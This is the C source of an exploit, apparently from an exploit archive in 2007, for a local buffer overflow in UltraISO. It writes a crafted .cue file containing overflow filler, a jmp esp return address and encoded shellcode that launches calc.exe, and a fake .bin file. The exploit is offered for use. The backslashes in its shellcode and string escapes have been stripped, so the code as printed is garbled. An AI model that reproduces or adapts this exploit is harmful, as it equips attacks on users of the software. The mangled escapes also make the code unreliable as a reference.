/*
Date : May 28th 2007.
UltraISO <= 8.6.2.2011 local buffer-over flow by n00b
You might need to change the jmp esp% adress to your version.
Tested on win xp service pack 2 <eng> executes calc.Don't
forget you need to have the bin and cue file in the same 
Directory special thanks to Thomas Pollet also.

*/

#include <stdlib.h>
#include <stdio.h>

//Calc shell_code
unsigned char shell_code[] =
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49" 
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41" 
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x54"
"x42x50x42x50x42x30x4bx58x45x54x4ex33x4bx38x4ex57"
"x45x30x4ax37x41x30x4fx4ex4bx58x4fx44x4ax41x4bx38" 
"x4fx35x42x42x41x30x4bx4ex49x34x4bx58x46x33x4bx58"
"x41x30x50x4ex41x33x42x4cx49x39x4ex4ax46x58x42x4c"
"x46x37x47x30x41x4cx4cx4cx4dx50x41x50x44x4cx4bx4e" 
"x46x4fx4bx53x46x55x46x32x46x30x45x47x45x4ex4bx48"
"x4fx35x46x32x41x50x4bx4ex48x36x4bx58x4ex50x4bx54"
"x4bx58x4fx35x4ex31x41x50x4bx4ex4bx38x4ex41x4bx38" 
"x41x30x4bx4ex49x38x4ex45x46x52x46x50x43x4cx41x53"
"x42x4cx46x46x4bx48x42x44x42x43x45x38x42x4cx4ax37"
"x4ex50x4bx48x42x44x4ex50x4bx48x42x57x4ex51x4dx4a" 
"x4bx48x4ax46x4ax30x4bx4ex49x30x4bx58x42x58x42x4b"
"x42x30x42x50x42x30x4bx48x4ax46x4ex43x4fx55x41x43"
"x48x4fx42x56x48x55x49x58x4ax4fx43x38x42x4cx4bx57" 
"x42x55x4ax46x4fx4ex50x4cx42x4ex42x46x4ax36x4ax49"
"x50x4fx4cx48x50x30x47x35x4fx4fx47x4ex43x46x41x56"
"x4ex46x43x56x50x42x45x56x4ax37x45x36x42x30x5a" ;

int main(int argc, char *argv[])
{
	FILE *cue;

	FILE *bin;

 if(argc < 2) {
 
 system("cls");
 printf("n *************************************************");
 printf("n *************************************************");
 printf("n *   Ultra Iso local buffer over flow by n00b    *");
 printf("n *************************************************");
 printf("n *          Special thanks to Str0ke             *");
 printf("n *************************************************");
 printf("n * Shout's ~ str0ke ~ c0ntex ~ marsu ~v9@fakehalo*");
 printf("n * Date :          May 28th 2007                 *");
 printf("n *************************************************");
 printf("n * Credit's to n00b for finding this bug and poc *");
 printf("n *************************************************");
 printf("n    Usage:>  Exploit.cue   Exploit.bin            ");
 printf("n *************************************************");

		return 0;
	}
      if(!(cue = fopen(argv[1], "w"))) {
		printf("[+] Error");
		return 0;
	}
  
	fputs("FILE "", cue);
	for (int i=0;i<1099;i++) 
	fputs("A", cue);
	fputs("x43x41xf8x77", cue); 
       
    fputs((char *)shell_code, cue);
    fputs(".bin "", cue);
	fputs("" BINARYn", cue);
	fputs(" TRACK 01 MODE2/2352n", cue);
	fputs(" INDEX 01 00:00:00n", cue);
	
    fclose(cue);
    
      if(!(bin = fopen(argv[2], "w"))) {
		printf("[+] Error");
		return 0;
	}

	fputs("Fake bin filen", bin);
	fclose(bin);
	printf("File's successfully created");
	return 0;
}

// www.Syue.com [2007-05-28]